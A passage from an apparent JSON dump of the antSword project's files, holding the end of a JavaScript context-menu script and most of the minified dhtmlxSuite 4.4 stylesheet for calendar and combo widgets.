context.attach($(this).selector, menus, event);\n    }\n    ret.hide = context.hide;\n    ret.destroy = context.destroy;\n    // return ret;\n    window.bmenu = ret;\n})();\n"
  },
  {
    "path": "antSword/static/libs/dhtmlx/codebase/dhtmlx.css",
    "content": "/*\nProduct Name: dhtmlxSuite \nVersion: 4.4 \nEdition: Standard \nLicense: content of this file is covered by GPL. Usage outside GPL terms is prohibited. To obtain Commercial or Enterprise license contact sales@dhtmlx.com\nCopyright UAB Dinamenta http://www.dhtmlx.com\n*/\n\n.dhtmlxcalendar_ifr{position:absolute;overflow:hidden;background-color:white;}.dhtmlxcalendar_dhx_skyblue{position:absolute;display:block;background-color:white;font-family:Tahoma,Helvetica;font-size:11px;color:black;}.dhtmlxcalendar_dhx_skyblue ul.dhtmlxcalendar_line{position:relative;display:block;clear:both;margin:0;padding:0;overflow:hidden;width:211px;}.dhtmlxcalendar_dhx_skyblue ul.dhtmlxcalendar_line li{float:left;position:relative;list-style-type:none;list-style-image:none;text-align:center;vertical-align:middle;cursor:default;overflow:hidden;margin:0;padding:0;}.dhtmlxcalendar_dhx_skyblue.dhtmlxcalendar_in_input{box-shadow:0 0 6px rgba(0,0,0,0.25);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont{position:relative;display:block;width:211px;height:25px;margin:0;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);border:1px solid #a4bed4;overflow:hidden;color:black;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr{width:211px;height:25px;line-height:25px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow{position:absolute;top:0;width:18px;height:25px;text-align:center;color:inherit;background-position:center center;background-repeat:no-repeat;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_left{left:4px;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");opacity:.8;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_left_hover{left:4px;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");opacity:1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_right{right:4px;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");opacity:.8;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=80);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr div.dhtmlxcalendar_month_arrow.dhtmlxcalendar_month_arrow_right_hover{right:4px;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");opacity:1;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr span.dhtmlxcalendar_month_label_month,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_month_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_month_hdr span.dhtmlxcalendar_month_label_year{position:relative;font-weight:bold;color:#34404b;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont{position:relative;display:block;width:211px;margin:0;padding-bottom:1px;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #cbd9e4;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;overflow:hidden;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line{border-top:1px solid white;padding-left:1px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li{width:29px;height:19px;line-height:19px;margin-right:1px;font-size:9px;background-color:#ecf4ff;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_day_weekday_cell,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_day_weekday_cell_first{color:#c66200;background-color:#ffe6ae;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont{position:relative;display:block;width:211px;margin:0;padding-bottom:1px;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line{border-top:1px solid white;padding-left:1px;height:26px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li{color:#909090;background-color:white;border:1px solid white;width:27px;height:24px;line-height:23px;margin-right:1px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li div.dhtmlxcalendar_label{width:100%;height:100%;text-align:center;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend{border-color:#ccc;background-color:#f7f7f7;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_dis{color:#b2b2b2;background-color:#f0f0f0;border-color:#f0f0f0;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_holiday,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_holiday{color:red;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_holiday,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_holiday{color:red;border-color:#ccc;background-color:#f7f7f7;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_holiday_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_holiday_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_holiday_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_holiday_dis{color:red;background-color:#f0f0f0;border-color:#f0f0f0;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_hover,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_hover,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_hover,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_hover{border-color:#ccc;background-color:#f7f7f7;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_holiday_hover,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_weekend_holiday_hover,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_holiday_hover,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_date_weekend_holiday_hover{color:red;border-color:#ccc;background-color:#f7f7f7;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month{color:black;background-color:#ecf4ff;border-color:#ecf4ff;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend{color:#c66200;background-color:#fff0d2;border-color:#fff0d2;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date{color:black;background-color:#b5deff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend{color:#c66200;background-color:#ffdc90;border-color:#ffce65;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_dis{color:#b2b2b2;background-color:#f0f0f0;border-color:#f0f0f0;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_holiday{color:red;background-color:#ecf4ff;border-color:#ecf4ff;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_holiday{color:red;background-color:#fff0d2;border-color:#fff0d2;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_holiday{color:red;background-color:#b5deff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_holiday{color:red;background-color:#ffdc90;border-color:#ffce65;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_holiday_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_holiday_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_holiday_dis,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_holiday_dis{color:red;background-color:#f0f0f0;border-color:#f0f0f0;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_hover{color:black;background-color:#d9eeff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_hover{color:#c66200;background-color:#ffe9bb;border-color:#ffce65;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_hover{color:black;background-color:#b5deff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_hover{color:#c66200;background-color:#ffdc90;border-color:#ffce65;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_holiday_hover{color:red;background-color:#d9eeff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_weekend_holiday_hover{color:red;background-color:#ffe9bb;border-color:#ffce65;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_holiday_hover{color:red;background-color:#b5deff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell.dhtmlxcalendar_cell_month_date_weekend_holiday_hover{color:red;background-color:#ffdc90;border-color:#ffce65;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line div.dhtmlxcalendar_label.dhtmlxcalendar_label_title{background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_mark.gif\");background-position:top right;background-repeat:no-repeat;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_time_cont{position:relative;display:block;width:211px;height:25px;margin:0;border-left:1px solid #a4bed4;border-right:1px solid #a4bed4;border-bottom:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_time_cont ul.dhtmlxcalendar_line li{width:211px;height:25px;line-height:24px;color:#34404b;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_time_cont ul.dhtmlxcalendar_line li div.dhtmlxcalendar_time_img{position:absolute;left:66px;top:6px;width:13px;height:13px;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_clock.gif\");background-position:center center;background-repeat:no-repeat;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_cover{position:absolute;left:1px;background-color:white;opacity:.5;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=50);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj{position:absolute;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_selector_obj_arrow{position:absolute;bottom:auto;top:0;left:0;width:100%;height:9px;overflow:hidden;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_selector_top.gif\");background-position:top center;background-repeat:no-repeat;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table{border:1px solid #a4bed4;background-color:white;border-top:none;margin-top:9px;box-shadow:0 0 3px rgba(0,0,0,0.35);}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left{width:17px;text-align:center;border-top:1px solid white;padding:0;margin:0;background-color:#ecf4ff;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");background-position:center center;background-repeat:no-repeat;cursor:default;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left.dhtmlxcalendar_selector_cell_left_hover{background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_left.gif\");}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle{border-top:white 1px solid;border-width:1px 0 0 0;cursor:default;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right{width:17px;text-align:center;border-top:1px solid white;border-width:1px 0 0 0;background-color:#ecf4ff;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");background-position:center center;background-repeat:no-repeat;cursor:default;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right.dhtmlxcalendar_selector_cell_right_hover{background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_arrow_right.gif\");}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul{display:block;clear:both;margin:0 0 0 1px;padding:0;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul li{float:left;font-family:Tahoma,Helvetica;font-size:10px;color:black;list-style-type:none;list-style-image:none;text-align:center;vertical-align:middle;margin:0 1px 0 0;padding:0;background-color:#e9f3ff;border:1px solid #e9f3ff;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;cursor:default;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul li.dhtmlxcalendar_selector_cell_active{background-color:#b5deff;border-color:#a1ceed;color:black;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul li.dhtmlxcalendar_selector_cell_hover{background-color:#d9eeff;border-color:#a1ceed;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_month table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_month table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right{display:none;width:0;border:0 solid white;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line{height:22px;border-top:none;border-bottom:1px solid white;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line li.dhtmlxcalendar_selector_cell{width:33px;height:20px;line-height:19px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours div.dhtmlxcalendar_selector_obj_arrow,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_selector_obj_arrow{top:auto;bottom:0;background-image:url(\"imgs/dhxcalendar_skyblue/dhxcalendar_selector_bottom.gif\");}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line{height:19px;border-top:none;border-bottom:1px solid white;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line li.dhtmlxcalendar_selector_cell,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_middle ul.dhtmlxcalendar_selector_line li.dhtmlxcalendar_selector_cell{width:21px;height:17px;line-height:16px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_left,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table td.dhtmlxcalendar_selector_cell_right{display:none;width:0;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours table.dhtmlxcalendar_selector_table,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes table.dhtmlxcalendar_selector_table{margin-top:0;margin-bottom:9px;border-top:1px solid #a4bed4;border-bottom:none;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_month,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_year,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_hours,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_minutes,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_minutes4,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj div.dhtmlxcalendar_area_selector_minutes5{display:none;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_month div.dhtmlxcalendar_area_selector_month,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_year div.dhtmlxcalendar_area_selector_year,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_hours div.dhtmlxcalendar_area_selector_hours,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_area_selector_minutes,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_area_selector_minutes4,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_selector_obj.dhtmlxcalendar_selector_minutes div.dhtmlxcalendar_area_selector_minutes5{display:block;}.dhtmlxcalendar_dhx_skyblue span.dhtmlxcalendar_label_minutes span.dhtmlxcalendar_selected_date{border-bottom:2px solid red;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn{display:none;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell{width:26px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell{width:24px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_first,.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell{width:26px;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_days_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn{display:block;width:21px;color:#638eb1;background-color:#d9eaff;}.dhtmlxcalendar_dhx_skyblue div.dhtmlxcalendar_wn div.dhtmlxcalendar_dates_cont ul.dhtmlxcalendar_line li.dhtmlxcalendar_cell_wn{display:block;width:19px;color:#638eb1;background-color:#d9eaff;border-color:#d9eaff;font-size:10px;}div.dhtmlxcalendar_skin_detect{position:absolute;display:block;visibility:hidden;left:-100px;top:0;width:10px;height:10px;margin:0;padding:0;border:none;overflow:hidden;}div.dhxcombo_dhx_skyblue{position:relative;border:1px solid #a4bed4;overflow:hidden;vertical-align:middle;background-color:white;font-size:1px;height:22px;-webkit-tap-highlight-color:rgba(0,0,0,0);}div.dhxcombo_dhx_skyblue input.dhxcombo_input{position:relative;top:0;left:1px;height:22px;line-height:21px;*height:20px;*line-height:19px;border:0 solid white;outline:0 solid white;padding:0;margin:0 0 0 2px;background-color:white;font-family:Tahoma,Helvetica;font-size:12px;color:black;vertical-align:middle;}div.dhxcombo_dhx_skyblue input.dhxcombo_input::-ms-clear{display:none;}div.dhxcombo_dhx_skyblue div.dhxcombo_select_button{position:absolute;width:18px;height:18px;top:1px;right:1px;font-size:1px;border:1px solid #a4bed4;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);border-radius:2px;cursor:pointer;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;}div.dhxcombo_dhx_skyblue div.dhxcombo_select_button div.dhxcombo_select_img{position:relative;width:100%;height:100%;background-image:url(\"imgs/dhxcombo_skyblue/dhxcombo_arrow_down.gif\");background-repeat:no-repeat;background-position:center center;}div.dhxcombo_dhx_skyblue 